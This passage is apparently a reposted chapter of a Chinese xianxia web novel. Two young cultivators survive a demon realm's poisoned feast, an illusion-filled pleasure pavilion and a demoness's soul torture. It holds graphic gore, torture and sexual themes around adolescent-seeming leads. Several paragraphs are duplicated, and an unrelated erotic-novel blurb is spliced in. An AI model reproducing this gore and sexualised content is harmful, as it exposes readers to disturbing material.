  “不知道,我察觉不出来。”齐开阳缓缓摇头,道:“好像,很是那么回事?
  ”
  “还是不要吃了的好。”洛芸茵废了好大的力气,才恋恋不舍地移开目光,看齐开阳半点不在意的样子,嗔道:“干嘛?难道你连这些东西都瞧不上了?”
  “这些?没什么。”齐开阳撇了撇嘴道:“再好的东西给我,吃了也是白吃,半点修为增长不得。至于这些菜,做得实在不怎么样。”
  洛芸茵不信地又一扫长案,只觉色香味俱全,撇了撇樱唇道:“胡吹大气。
  ”
  “改天你自去问霜绫。”
  两人相谈片刻,宴厅两头皆有仙家修士鱼贯而入。被七情塔吸入魔界的修士们见了面前奇珍,大都眼睛放光。只是都在纠结,进退两难。而从宴厅另一头进入的仙家们大喇喇地入席,片刻间觥筹交错,一盘盘仙珍玉肴被吃成残羹冷炙。
  两人相谈片刻,宴厅两头皆有仙家修士鱼贯而入。被七情塔吸入魔界的修士们见了面前奇珍,大都眼睛放光。只是都在纠结,进退两难。而从宴厅另一头进入的仙家们大喇喇地入席,片刻间觥筹交错,一盘盘仙珍玉肴被吃成残羹冷炙。
  宴厅里异香弥漫,那迎客的小魔重又出现,笑吟吟道:“诸君还不入席?不享用美餐,可去不得合欢阁。”
  落入魔界的修士虽有三百余众,在整个魔界里翻不起浪涛,不到万不得已,实在不愿刀兵相见。小魔又道:“就算去了合欢阁,嘻嘻,与意中人相伴,没有点力气怎么能成……”
  小魔修为低下,可几句话在宴厅中回荡,魔音灌脑。吃喝的仙家欢颜庆贺,仙珍入口,修为肉眼可见地飞涨,更让人心痒难搔。
  “你,先去试吃。”殷其雷遥指齐开阳,不容置疑地下令。
  齐开阳不搭理他的颐指气使,问小魔道:“要吃多少才算数?”
  “只消一小口,公子保证停不下来,到时候就算赶,公子都不愿走呢。嘿嘿,嘿嘿。”
  “那,我代我家妹子吃了,可否?”
  “不可,当然不可。谁吃谁得好处,岂有代吃之理。诸位快请,快慢用。”
  小魔黠笑着躬身退去,道:“若再让小的前来催促,惹得圣女娘娘不高兴,枉费了她一番好意,小的可要赶人了……”
  小魔退下,又有衣着暴露的娇媚女郎鱼贯而入,伺候在席边。莺莺燕燕,娇声招呼。
  齐开阳寻了个席位坐下,拉洛芸茵坐在身旁。抬眼看去,修士们的目光齐刷刷射来。有人目光深沉,有人翘首以盼,有人目露惧意,有人正纠结难定。齐开阳朗声道:“诸君可有人陪晚辈与小妹试菜?”
  无人答应。再狂热期盼的目光,此刻都以最大的耐性克制着。
  悬在头顶的金丹散发着淡淡的血幕,修士们神识混沌,看不清真相,分不清真假,皆盼着齐开阳先行一试。
  齐开阳摇了摇头,很是失望地夹了片龙肝放进嘴里慢慢咀嚼。洛芸茵拾起筷箸,手腕被齐开阳不动声色地按住。洛芸茵心知有异,又想齐开阳似能抵抗,可自家没有他诸邪难侵的功法,又该如何是好?
  齐开阳咽下龙肝,金丹明珠照耀之下,身边升起圣辉,他又拿起一枚李子。
  李子果如珠蕊,上有黄中二字,正是传说中的黄中李。三万年一熟,且每一熟只得九枚。仅闻果香可得万载道航,食一枚可勘破天机。齐开阳不理诸般人欲光怪陆离的目光,道:“妹子,哥哥帮你去了皮,你尝尝甜不甜。”
  说罢将黄中李放入口中,以齿去皮。洛芸茵看他目露古怪笑意,分明有那么丁点的冒犯歉意,偏偏憋不住笑。她明知齐开阳想方设法化去宴席上的邪祟,为遵循规则,又不得不【出此下策】。
  少女咬牙切齿,可齐开阳递来黄中李时,心中又有暖意。果实入口,满嘴的腥气冲人欲呕,可又想起在噬心林里迷乱的一幕。难吃的果实,可怕的幻象,偏偏带着他有些熟悉,仍很陌生的味道。洛芸茵咽下果实,两人起身离席。
  百余名修士争先恐后地入席,在他们眼里,齐开阳与洛芸茵身上泛出圣辉,已悟大道。可在齐开阳眼里,席间为他们伺候酒食的娇娘俱是白骨魅魔,那些仙珍玉肴,无不是腐肉毒蕈。修士们每吃一口,便有一瓣鳞片从体内脱出,被收入骨魅手中的琉璃盏里。
  更可怖的是,欢宴者笑着笑着,舌头断落;还有些因为食用了【仙珍玉肴】,自觉大道可成喜极而泣。哭着哭着,眼珠子掉了下来……

榻上欢:皇叔,有喜了!
尼图
女扮男装的小皇帝竟然被皇叔睡了,为堵住二人断袖的悠悠之口,皇叔决定为皇帝纳妃。“皇叔,朕不举,无法纳妃。”“无妨。”“皇叔,朕膝下无子,无人送终。”“无妨。” “皇叔,朕的洞房花烛夜你怎能进来

风雨无阻 / 发表于: 2025/09/19 13:15:51

第四章:魔欲横生
  洛芸茵在一旁看得真切,人体支离破碎的模样她看得心惊胆战,恶心得几欲呕吐起来。可那些修士全不自知,依然开怀畅饮,大口吞食。洛芸茵知道这些人刚将【食物】入口就迷了心智,道心沦丧。轻则堕落为魔,沉浸在无休无止的欢宴里,重则即将身死道消。
  「【颠倒戒律】。」洛芸茵扭头不敢再看,颤声道:「流泪者剜目,大笑着割舌,这般可怖。」
  「若食用这些而沦丧道心,不能哭,又不能笑?那可怎么办?」齐开阳又惊又奇道。
  「听说唯有悲喜交织才能保全自身。」洛芸茵打了个寒噤,望向齐开阳。幸亏有他臂助化去食物中魔气,否则自己变成这般丑陋可怖的模样……少女哪个不爱美?洛芸茵简直不敢再想下去。
  「走吧。」齐开阳拉住她的手转身前行。
  长长的廊道,齐开阳与洛芸茵刚行了几步,就觉背后一声大吼。一名修士想是看出了些门道,又无消弭魔气的能耐,心如油煎,不管不顾地朝长廊狂奔。两人回身看时,那修士连祭诸般法宝护身。可一股极恐怖的威压从头顶传来!
  金丹明珠骤然一亮,光华耀目。两尾蛟龙升腾而起,一阴一阳,头交头如剪,尾绞尾如股,起在空中挺折上下,只一剪,那名发了疯的修士被闸作两段。一时不得死,倒在地下惨呼不已。
  惨状让未入席的修士大惊失色,已入席的却浑如不觉。迎客的小魔从长廊转出,道:「哎呀呀,已好心实话奉劝过各位,非不肯听,这又何苦,好惨,好惨。」
  将死的修士诸般情绪被骨魅收入琉璃盏,不一时化作具白骨。
  「金蛟剪!」惨状下洛芸茵惧怕抓着齐开阳的手臂,指甲几乎掐进肉里,颤声道。
  听闻是大名鼎鼎的金蛟剪,齐开阳同样胆寒。方才这一剪不知发挥了法宝的几分威能,若是剪在自己身上,现有的修为就算玄功全开,不过是一层纸。这件上古法宝,不知怎地落在魔族手中。整个仙界能抵挡的除非那几位圣尊,其余都是剪下亡魂。
  殷其雷面色铁青!看着长廊上的宴席,又看看齐开阳,凶光一闪而没。洛芸茵惊魂初定,见目光不善,悄悄扯了扯齐开阳的衣角。东天池多年积威,洛芸茵心中本能地惧怕。在齐开阳看来,比起曲纤疏沿途遇见的魔族而言,洛芸茵更怕东天池。
  两人转身拔步就走,宴厅中的修士必定会有人扛不住如山的威压,一场【人吃人】,【人踩人】的惨剧很快就会到来。
  「诸君听本座号令……」
  齐开阳与洛芸茵离去之前,听得殷其雷正在发号施令,十余名修士被他逐一点名,先去【品尝】仙珍玉肴。齐开阳回头一看,那些被点到名的修士面色煞白,被东天池押着上桌。正要效仿齐开阳的方法,让这些人化去食物中的魔气。
  齐开阳回头时,正与殷其雷目光相对。齐开阳面对凶光,愤然不惧地回瞪。
  被点中名的人能不能化去魔气还在两说,但命必然保不住。更令齐开阳可恨的是,一些趋炎附势之徒正大声鼓噪,逼迫被点中名者舍生取义,又对殷其雷连篇赞赏,夸赞什么仁义齐天之流。
  被逼迫的修士抵死不愿,可很快就被法术束缚手脚失去反抗之能,幻化的腐肉毒蕈被塞进他们口中。
  齐开阳沉着脸与洛芸茵转过长廊,洛芸茵道:「看见了吧?」
  「满口仁义道德,那些附会者还以此为荣,比朝堂半点都不差了……」
  「你不想当狗,有些人却想着当狗还得有门路,当上了就沾沾自喜,自以为高人一等。」洛芸茵感慨一声,道:「前面,是那个什么……」
  离了饕餮宴,酒足饭饱,所谓饱暖思淫欲,前方就是合欢阁。据迎客小魔所言,合欢阁里会有求而不得的心上人。明知是幻象,可求而不得四字,着实让人太难抗拒,齐开阳始生惧意。  还记得第一回领柳霜绫上曲寒山,还点评世间所认识的美丽女子,当时心无旁骛。自他尝过人间至乐之后,情字已开,不像从前的单纯。偶尔午夜梦回,脑中亦闪过一些从前未曾想过,此后却起了旖旎念头的倩影。
  魔族最擅窥探与操弄人心,悲欢楼里已见识过。自入魔界以来,比起面对可怖的魔物与难以匹敌的天魔,齐开阳此时最是紧张悚惧。
  每个人心中都有见不得人的秘密,有些秘密会一生珍藏于心。可一旦被挖出来,羞耻得恨不得死了算了。
  心有所思,任你城府再深,只消触及没能准备好,真正惧怕的东西,就会自然而然地反映在身上。——何况齐开阳这样的少年?
  「你干什么?」齐开阳脚下虚浮犹豫,一步三停,洛芸茵看出异样,奇怪地打量着他,道:「想什么了?」
  「没……没有。」齐开阳被问得满身大汗。
  自入魔界以来,齐开阳无所畏惧,一路顺风顺水。一则靠他破邪奇光,二则是自幼受到良好的教养,为人不卑不亢,遇事不惧。魔界的颠倒错乱,对他影响甚微。但是【合欢阁】扎扎实实地点到了他的痛处。
  情字一事,本身就还在懵懂中。情窦初开的少年,尝过了情爱的滋味,还有许多事不明了。且慕清梦教导齐开阳,自幼包罗万象,面面俱到,唯独情字毫无涉猎。齐开阳光靠自己摸索,前后不到一年。情爱本是人情世故,且还是博大精深的人情世故,齐开阳刚刚初尝又能摸出几成来?
  「没有?」洛芸茵哪里肯信,上下打量齐开阳几眼。此前一路,齐开阳都似主心骨。如今齐开阳踟蹰不前的模样,洛芸茵一同慌了神。
  「我……」齐开阳几度张嘴,最终垂头道:「我有些害怕。」
  「我也害怕,怎么办?」
  被醉星目一瞪,齐开阳心中更虚。出山之后偶有的念想,这一刻全化作恐惧,唯恐在天魔们无孔不入的窥探内心之中,全被挖了出来。
  冷汗不停地冒出,齐开阳束手无策,有些事实在太过于羞耻,越想越怕。
  「齐哥哥,要我怎么做,你就直说吧。」洛芸茵垂下寒烟眉,半合醉星目,轻声道。
  「什么?」
  「我说,你想要我怎么做?你就直说吧!」少女忽然高声,带了三分怒,三分怨与三分嗔,还有一分若有若无的喜意。
  「我……不是……洛姑娘,我没有别的意思。」
  「嗯?」洛芸茵微偏螓首,微蹙烟眉,微瞪星目。露出些许不可置信,些许不太相信,还有心碎般的痛楚之色。
  与齐开阳相同,洛芸茵也是情窦初开的年纪。少男少女都一样,一旦被心上人拒绝,无不伤心欲绝。洛芸茵大着胆子吐露心意,齐开阳一无所觉就罢了,居然还有婉拒之意?怎叫洛芸茵不又羞又愤。
  齐开阳瞬间恍然,洛芸茵心碎的模样自己不久前才经历过,印象深刻,一见而知。他有点发懵,内心里又难掩得意。洛芸茵可是剑湖宗三宗主亲生爱女,追求者甚重,心生爱慕者更不知凡几。这样的身份,生得还如花朵般美丽的少女对自己吐露心迹,少年难免飘飘然。
  「无论如何,我们先得平安离开魔界。」
  「齐哥哥,若不是你,我离开剑湖宗后无处可去。若不是你,在魔界里好的我已死去,糟的我已堕落为魔。」洛芸茵羞红着脸,又像在噬心林献上热吻一样大着胆子,道:「每一样后果我都不敢想象,于情于理,我不能只拿你的好处。
  离开魔界不仅要靠道心坚定,我们之间,更要相互帮衬才有一线生机。」
  齐开阳心动无比,洛芸茵玉指点了点他,又点点自己道:「在魔界里,我们相依为命,除你之外,我不信任何人。走过长廊时我问自己,如果我逃了出去,你却没有,我肯不肯?不肯,若是那样,我情愿和你同在魔界。」
  「洛姑娘……」
  「你再这样叫我,我可要生气了!」洛芸茵蹙起寒烟眉道:「你真的一点不喜欢我?」
  「好!」齐开阳低喝一声,顺道给自己鼓了鼓气道:「茵儿青眼有加,我一个山野小子哪会不喜欢?我们相依为命,一同冲出魔界。」
  言罢携起洛芸茵的手,若不是身处危机之中,两人几已控制不住拥在一起。
  但想到要入【合欢阁】,齐开阳冷汗又出。
  「真的非要进合欢阁,我们一起进去,你看如何?」洛芸茵不像齐开阳,心里重重杂念,顾忌纷纷,反倒整些条理,道:「所谓求而不得之人,多半都是天魔幻象,操弄人心之术。一旦禁不起诱惑,就中了魔族的伎俩。既然如此,不如……
  我们进……同一个地方……不比被什么幻象,骨魅,还是丑陋的天魔本相诱惑了好……」
  少女声音越说越低,心口砰砰直跳。这些话平日必不会说出口,那份来得太快的情感,就在今日之前还远不到情深难抑的地步。可魔界气息总是在放大每个人的欲念,如春雨润物,无孔不入。洛芸茵少女情怀,既是娇羞,又渴望心上人的情意。加之齐开阳英雄侠气,阳光潇洒,遇事在前,洛芸茵芳心可可。
  想到在魔界之中凶多吉少,吐露心迹的欲念就再也抑制不住。就算是凡人,处于为难之中相依为命时,亦会好感倍增,修士不外如此。
  「嘻嘻。」迎客的小魔不知又从何地出现,道:「恭喜两位,酒足饭饱,还请入合欢阁中享用。」
  看他不住舔着嘴唇,不知道是对合欢阁里的滋味甚是怀念,还是看上了眼前的谁。
  「敢问一句,我们能否入同一阁?」想到两人若是分开,洛芸茵见到的幻象却是这等丑陋的天魔,齐开阳哪里肯?
  「原来两位有这种喜好,与众同乐,其乐无穷。使得使得,当然使得。」小魔嘎嘎怪笑,侧身催促两人快行,自在前引路。
  两人羞得满脸通红,尤其是洛芸茵。她还是未经人事的处子,从小魔的话中听出合欢阁里并非两人想象的那样,只需有人交合即可,而是都要与【求而不得】
  的幻象交欢。两人同入一阁的意思,是在同一阁间里分别交欢。至于会否交换伴侣,或是靡乱之戏,任君所愿。
  「先去看看再说。」合欢阁里还不知是何等怪异,无论如何此刻不能分开。
  齐开阳紧紧握住洛芸茵的小手,男子保护的欲望升起,一时什么都不怕了。
  沿途见诸多阁间里影影憧憧,传出男女修士的欢声荡语,不知是陷落在此已久,还是先前刚到。
  「雅间一座,两位快请。」小魔将两人引至一间宽大的阁间,推开门自行退去。
  齐开阳与洛芸茵入内,见粉红绡帐里,花瓣铺满了床帏。中央木桌摆着青铜熏香炉,正燃起一线袅袅青烟,却不见熏香。齐开阳转眼一瞥,炉中点燃的是一把发丝。这样的东西,多半是邪法的媒介。燃香的气味香甜中带着股刺激,让鼻子痒痒的。
  洛芸茵的手心里全是汗水,齐开阳自入阁间,反而比先前镇定许多。害怕或是害羞,在责任与抗争面前,什么都不是。
  两人候了片刻,不见异状,更没有第三人。香炉中的青烟熏熏袅袅,凝而不散,两人呼吸之间,渐觉情欲升起。
  洛芸茵如饮醇酒,初尝情事在魔界里心潮涌动,不时看向齐开阳,低声道:
  「齐哥哥,若是我们两个好一回就能过了合欢阁,岂不甚好。」
  齐开阳被少女热烈的情意冲得云里雾里,飘飘若仙。可一时警醒,低喝道:
  「是从今往后的事,不是一回的事,你可莫要出了这里就翻脸不认人。」
  「人家才不会。」洛芸茵的醉星目里闪动着光芒,当真迷星如醉,可小手微痛,猛然从情欲中醒来。合欢阁里还不知有什么奥妙,万不可轻易堕入其中。少女念及齐开阳说的从今往后的事,心中甜甜的。毕竟是未经人事,对情欲的好奇与向往,远超齐开阳为甚。洛芸茵不是偷看齐开阳,又强自压抑着意动。
  过得小半时辰,阁间木门吱呀一声打开。齐开阳豁然站起,腾腾腾倒退数步,脸色煞白。洛芸茵却是娇喝道:「是你?你来做什么?」
  「好没趣,你们俩的运气当真不错。」
  齐开阳揉了揉眼睛,可眼前莲步趋趋的,都是恩师慕清梦。那娇笑莞尔,轻嗔薄怒,无一不是恩师的模样。就连这句不像慕清梦会说出来的话,声音都一模一样。明知一切是假,却又如此真实。齐开阳努力压抑着心魔,拼力运转元功。
  眼前的倩影略作模糊,可定睛再看时,还是慕清梦的模样。
  「尊驾来此何意?」洛芸茵如临大敌,闪身将齐开阳挡在身后。少女砰砰直跳的胸腔里,不知挡在身前是怕来人会对齐开阳不利,还是旁的什么原因。
  「唉,想不到合欢阁里,有一天会来了一位没有求而不得之人的客人。是已得到了呢?还是这位求而不得已在身边?」
  「与你无关。」
  「这么说我就猜到了,你怕我把他的魂魄给勾走对吧?嘻嘻,那样,他又成了你求而不得之人,从此你就乖乖呆在魔界纵欲,岂不甚好?」
  洛芸茵背脊发凉,回眸见齐开阳目光闪躲,满身大汗,唯有两片唇抿得紧紧的,似在竭力地抗争。
  齐开阳满心羞愧中,蓦地发觉合欢阁里,似乎每个人都会见到自己的幻境。
  即使洛芸茵就在身边,看见的也不是同一人?洛芸茵和来人对答的话语清晰地落在耳中,齐开阳心头大定。自家的羞事没有落到外人眼里,还好,还好。
  经此一悟,齐开阳从幻境中惊醒。一念生,幻境破,眼前赫然是曲纤疏。
  「你看到了谁啊?」曲纤疏似笑非笑地坐下,看着齐开阳冷汗不停沁出,大是玩味。
  「多谢手下留情。」齐开阳不敢答,拱手谢过。
  「没有啊,谁说我会手下留情来着?」曲纤疏目光一瞟,道:「你这人花花肠子,这一回可得谢谢人家小姑娘心无旁骛,一心只有你。害,白白人家梳妆打扮,想来占你的便宜,被她破了局。我看哪,你把她赶出去,咱们寻欢作乐,岂不甚好?」
  「尊驾想多了。」齐开阳咧嘴一笑,重又握住洛芸茵的小手,道:「这样算不算过关?」
  曲纤疏定定地看着齐开阳,道:「你运气不错,今日刚好我执掌魔界之门,闻得召唤打开界门,你来到我这里。若是到了别处的合欢阁,可没有那么容易过关。」
  「此话怎讲?」齐开阳与洛芸茵均大出意外。
  「有本事,在魔界多留些时日,自己慢慢体悟呀。」曲纤疏吃吃笑道,那目光,恨不得一口将齐开阳吞了。
  这一关说来简单,做来并不易。从前求而不得,如今唾手可得,任你心如铁石都要松动。令齐开阳意外的是,合欢阁中规矩简单得有些过分,只消不被幻象所迷,自能安然无恙。至于曲纤疏言语之中透露出来的信息,莫非魔界分为不同的区域,由不同的天魔掌管?天魔依托各种欲念修行生存,若到了别处区域的合欢阁,规矩就要难办得多。只猜不到曲纤疏修的是哪一种欲。
  「改日有缘再来吧,或许有一天,我会回来好好看一看魔界。现在,我承认真没那个本事。」齐开阳洒然笑了笑,道:「多谢,我们先告辞。」
  「急什么?坐下!」曲纤疏手一挥,阁间木门自行关上,道:「我有话要问你。」
  如敕令般不可违抗,齐开阳与洛芸茵对视一眼落座。曲纤疏对两人很是满意,施施然道:「你家师尊近来如何?」
  「嗯?」齐开阳大惊,道:「尊驾认得恩师?」
  「我在问你话,问什么,答什么。」曲纤疏好整以暇地手指一弹。
  齐开阳鼻尖吃了记重击,登时眼泪不自觉地涌出。他又惊又气,这才想起面前的这位可是不折不扣的天魔女,可不是一路上屡屡对两人高抬贵手的良善女子。
  他抹去眼泪,道:「恩师向来都很好。」
  「说清楚些,怎么个好法。」
  齐开阳立刻闭上了嘴,有些话可以说,有些话打死不会说。曲纤疏意图不明,他哪肯细说?
  曲纤疏冷笑一声,道:「自以为嘴很严是吧,好啊,看你骨头有多硬。」
  她单手一抓,齐开阳身不由己地飞出,被掐住咽喉凌空提起。洛芸茵立刻握碎玉璇玑在手,尚未出招,齐开阳已摔在地上。不知被下了什么法门,齐开阳因痛苦而浑身颤抖,黄豆大的汗珠滚滚滴在地上,发出吧嗒吧嗒的声响。
  「魔头!」
  洛芸茵叱一声,正要出手,曲纤疏道:「在边上呆着,敢动一下,你就死!」
  洛芸茵没有片刻犹豫,周身星斗亮起,一出手就是杀招。
  「啊~哎呀,人家错了,想出个笨主意。」曲纤疏露齿一笑,道:「现下我改主意了,你敢动一下,他立刻就死。这一回我绝对不会再改,你尽可试一试。」
  洛芸茵果然即刻停手。出手前拼力提起真元,此时硬生生地顿住,遭受真元反噬,口角流下鲜血。少女任由丹田里翻江搅海般地剧痛,死死咬着牙不发半息之声,不知是性子硬,还是真怕发出丁点声音,被曲纤疏抓住把柄,要了齐开阳的命。
  齐开阳趴伏于地,口中发出窒息时艰难挣扎的赫赫声。曲纤疏只瞄了他一眼,看洛芸茵施法半途的姿势有些可爱,笑道:「你坐下吧。」
  洛芸茵不动。
  「坐下吧,我允可的自然可以。啧~你再不坐下,我立刻杀了他。」
  洛芸茵立刻端正坐好,面无表情,但一双醉星目里全是怒火。
  「这样看着就舒服多了。」曲纤疏回眸向齐开阳道:「怎么样,想好了没有?」
  「早想好了。」齐开阳勉强挤出个笑容,可颤抖的牙关,通红的面皮,无不显出他正经历难熬的苦楚。少年再笑了笑,道:「我想说就说,不想说就不会说,不用再问。」
  「啧啧,这么会说话,难怪这么风流。」曲纤疏掩口瞟了洛芸茵一眼,忽然脸色一沉,眼眸发着她长发般的火红光芒,厉声道:「我看你嘴硬到几时!」
  「呃~」齐开阳喉间一哑,这一回直想惨呼出声,可剧痛让他根本喘不上一丝气,又哪能发得出声音?
  曲纤疏施展的是神魂折磨之术,深入神识。齐开阳的神识自幼打熬,原本强壮坚忍。可两人的修为天差地别,就如出山时遭遇神箫鬼笛,无可抵御。那股魔气侵入识海,纵然八九玄功拼力抵抗,消弭着魔气。可金光被侵蚀,识海逐渐黯淡。
  对修士而言,识海受创的痛苦远超肉身。齐开阳所受的苦痛,像万根金针直插脑髓,让全身上下每一寸肌肤,每一根骨节都受生剥之苦。可在苦楚之中,八九玄功正发挥着神奇的效用。  不能抵御魔气,便试着融合,试着接纳。玄功的金光看似被侵蚀,实则在吞没着魔气,一时半会消融不得,便将魔气团团包裹,越包越多。齐开阳剧痛得意识模糊之下,仍想起与柳霜绫的第一回双修时。入体的双修真元精纯无比,却被玄功隔绝于外。
  更奇的是,入侵的魔气虽霸道阴毒,却没有一举摧毁识海之意。不知是曲纤疏手下留情,还是猫捉老鼠,要玩弄够了才杀死。
  前后约有一炷香时分,齐开阳身上痛楚稍减,他知道这是身体与神识都渐渐适应了魔气的侵蚀。熬过了这一段,只消曲纤疏不再加重手,齐开阳尽可挺得过来。
  先前的剧痛让意识都有些模糊,剧痛减轻,脑子就活泛起来。齐开阳暗思脱身之法,曲纤疏的修为远高于两人,力敌不可取,倒可虚与委蛇试上一试。
  正思量间,身上压力一轻,曲纤疏撤回功法,赞道:「好神妙的功法,好硬的骨头,不愧是慕圣尊的弟子。」
  齐开阳痛苦尽去,立刻腾地跳起站在洛芸茵身边严阵以待。
  「好啦,你也坐吧。要你的命,很难么?丁点道生修为,自视还挺高。」看齐开阳没有坐下的意思,曲纤疏道:「你不肯说话,我跟你说说她的事,想不想听?」
  「想。」齐开阳立刻点头,心中疑团由来已久,乍听此言,虽是恨意极深,又不大相信魔女话语,还是直言不讳,道:「但你想和我交换什么,那就休想。
  你想说就说,不想说……」
  「多嘴,坐下!再给我废话,立刻给我滚出去。」
  依言坐下,曲纤疏立刻眉开眼笑,齐开阳暗叹这魔女喜怒无常。但看她的模样不像诓语,遂压下心头恨怒之火,静静倾听。
  「人家就是好好地问你慕圣尊近来如何,你偏要耍那么多花招,活该。」曲纤疏托着下颌,露出神往之色,道:「我不会害你家师尊,说起来,她对我们魔族还有大恩。」
  「什么?对魔族有大恩?」齐开阳简直不可置信地惊诧道。
  「当然啦,看起来你什么都不知道嘛。那我不说了。」曲纤疏见微知著,得意洋洋地不再说下去。
  「额~那个,能不能请你多说一些。」齐开阳心急难耐,不得不说着好话。
  「可以,你笑一个我看看,笑得不满意不算。」
  魔女性子乖张,齐开阳自坐下起就压抑着情绪,忽听得这么个要求,简直哭笑不得,顺势就做出个笑脸。
  「比哭还难看,重来。」
  齐开阳不停深呼吸,连作了几个笑脸,越作心头火气越小,笑得越好看,终于让曲纤疏满意。
  「还挺乖,姐姐这就说给你听。不过慕圣尊的事情,我可没胆量乱嚼舌根子,跟你说些魔界旧事倒可以。你知道焚血么?」
  「听说过。」
  「他曾祸乱世间,搅得三界鸡犬不宁,不知道多少得道高人死在他手下,我们魔族难逃此厄,深受其害。」
  「他不是修习魔功,难道不是你们魔界中人?」
  「人纵欲而成魔,这个道理你不是知道得很清楚吗?还朝人家说教来着。」
  「所以他是人是魔,已经分不清了。」和魔族圣女议论人魔之别,齐开阳越说越觉怪异。
  「我们魔族又不是一味放情纵欲,什么都不分。」曲纤疏稍作解释,道:
  「当年我们魔族之尊与焚血一战失了手,从此魔族尽落入他掌控之中,多少族人受他奴役……这一场三界灾祸,延绵数千年,终于出了一位能够杀死焚血的人物。」
  齐开阳从阴素凝口中听得只言片语,洛芸茵却是第一次听说,心中电闪雷鸣,惊愕万分。想不到世间还有焚血这样的人物,更想不到祸乱三界的高人,竟会被人击败?
  「是我恩师?」
  「正是!」
  得了肯定的答案,齐开阳自豪之情油然而生,喜不自胜,简直和自己亲手击败焚血老怪,将他埋葬一样得意。
  「别那么得意,慕圣尊当时年幼,可没有与焚血正面相抗的实力。能杀死焚血……嘻嘻,中间诸多缘由不该由我来说。」曲纤疏吐了吐香舌,道:「总之,慕圣尊当年隐匿身形,与决战之中忽然现身暴起,亲手粉碎焚血的肉身与神魂。」
  「敢问恩师当年寿数几何?」
  「二十七岁,想过么?二十七的天机~中期圣人。」
  齐开阳与洛芸茵惊得呆了,二十七岁参透天机就已不可思议。若仅是如此,或许是其中有什么大机缘,大气运使然。可慕清梦二十七岁不仅参透天机,还晋升天机中期修为,这就绝不仅是大气运砸头所能办得到的。——即使是天机高人,绝大多数都只能数千数万年地停留在天机初期,再无寸进。齐开阳与洛芸茵惊得呆了,二十七岁参透天机就已不可思议。若仅是如此,或许是其中有什么大机缘,大气运使然。可慕清梦二十七岁不仅参透天机,还晋升天机中期修为,这就绝不仅是大气运砸头所能办得到的。——即使是天机高人,绝大多数都只能数千数万年地停留在天机初期,再无寸进。
  「看来,慕圣尊丁点往事都未对你提及,我可不敢再多说了。其他的事情,你不妨自己去问,说不定她心情好,告诉你一些。」
  只是些往昔的碎片,齐开阳对曲纤疏恼怒全去。只需与阴素凝所言做些印证,再将碎片拼接,师门往事已大体有了些轮廓。且他心中知道,曲纤疏所言并未作假。至于洛芸茵,立时就想起洛城上空,慕清梦现身时诸圣俯首的震撼一幕。
  「难怪,难怪……」洛芸茵喃喃自语。这样的高人教出来的弟子,竟然什么都不知道,洛芸茵看向齐开阳的目光,同样越发地好奇。
  「难怪什么,慕圣尊做事,什么都不奇怪。」曲纤疏眼中闪着慧黠的光芒,道:「幸亏在悲欢楼里看见你的过往,否则稀里糊涂的伤了你,我可要惶惶不可终日了。不过呢,小家伙,你先别得意,自己没本事闯出魔界,慕圣尊就怪不到我头上。」
  齐开阳昂首挺胸,满心身为慕清梦的弟子,区区魔界岂能闯不过去?
  「去吧,前面就是长生殿。那个地方一视同仁,再没有什么运气机缘之说,能不能闯过去,全靠你自己的本事。」曲纤疏随手一指,身形逐渐变淡消失不见,留下清音袅袅道:「方才试你一试,配得上做慕圣尊的弟子,你就不要再生姐姐的气啦。」
  合欢阁里的时辰流逝大有蹊跷。齐开阳与洛芸茵出了阁间时,各处欢声四起。
  窗棱透出的人影里,有些已在打点衣衫,仿佛心满意足。有些已是张牙舞爪,彻底入魔沉浸在无穷无尽的欲望里。有些还在贴肉酣战,气喘吁吁。
  那些入了魔的修士,正在铺满花瓣的床帏里纵情交欢,可每抽送一下,都发出痛苦的惨嘶……
  洛芸茵羞红着脸,低着头穿过合欢阁。小手一热,被齐开阳握住。回眸四目相对,洛芸茵羞涩之际,竟颇觉遗憾。
  「长生殿里,我们还是一起联手吧?」有了合欢阁的经验,加之方才洛芸茵的回护之情,齐开阳绝不肯再与她分开。
  「嗯。就不知道旗鼓相当的对手是什么。」
  「不怕,我挡在前面,你找机会放剑光伤敌。」齐开阳此刻意气风发,自觉勇者无惧,想了想道:「胜者过关,败者要受时辰刑,这是个什么东西?」
  「每个时辰,要做一件欲念之事。」洛芸茵小手一抖,轻声道:「我知道一些,譬如申时要暴食不停,未时要哭得肝肠寸断,午时,午时要纵欲无限……受刑人若违逆法则,会身受时辰蛊,随更鼓之声经脉爆裂,永生无尽。」
  可怖的刑法,让齐开阳同样不寒而栗。但此刻他豪情满胸,听小魔所言,长生殿里是势均力敌的敌手。同阶的修士,齐开阳哪里会怕?
  长生殿矗立前方,齐开阳转动青铜兽首门枢,一股腥气立刻扑面而来。殿顶上倒挂着一只三足两耳的饕餮纹巨鼎,鼎中汤已沸。四十余具修士的神魂被金线缝合,正在热汤中翻滚哀嚎。烧得滚烫的鼎面上,浮凸着四十余张人面皮,滋滋有声。那些哀嚎之声在鼎中来回激荡,竟然汇聚成惨嘶歌唱的《长生贺寿曲》。
  长生殿矗立前方,齐开阳转动青铜兽首门枢,一股腥气立刻扑面而来。殿顶上倒挂着一只三足两耳的饕餮纹巨鼎,鼎中汤已沸。四十余具修士的神魂被金线缝合,正在热汤中翻滚哀嚎。烧得滚烫的鼎面上,浮凸着四十余张人面皮,滋滋有声。
  那些哀嚎之声在鼎中来回激荡,竟然汇聚成惨嘶歌唱的《长生贺寿曲》。
  沸煮的神魂,正是在饕餮宴上吃了腐肉毒蕈后,丧失了神智的修士们。那些在饕餮宴中开怀畅饮的仙家们,此刻又列席于长生殿两旁,见了齐开阳与洛芸茵,大声喝彩道:「贵客来了,快快快,快给本仙助助兴!」
  齐开阳踏前两步,微笑道:「诸位仙长正在过寿么?晚辈正巧为诸位贺寿。」
  「贵客好气度!来来来,本仙敬贵客一杯。」
  「酒且慢来,待赢了不迟。」齐开阳淡然道:「我兄妹二人一同下场,以二对二,如何?」
  「自无不可,哈哈。快给贵客请旗鼓相当的敌手来。」
  吱呀呀的铁器摩擦声过后,重足踏地引发长生殿震动不已。来的是什么魔头怪兽?齐开阳并无丝毫惧意。
  踏地的震动很快停歇,巨大的怪兽似化身成人,不再是庞然大物。殿中一扇小门打开,先现身的是一位女子,胸有诗意,臀蕴风情,正是洛湘瑶。洛芸茵咬牙切齿,恨声道:「邪魔,竟然用这种把戏!」
  「知道是邪魔幻象,就不必担心。」齐开阳冷冷一笑,翻手取出银装锏,待第二名敌人现身,就是一较高下之时。
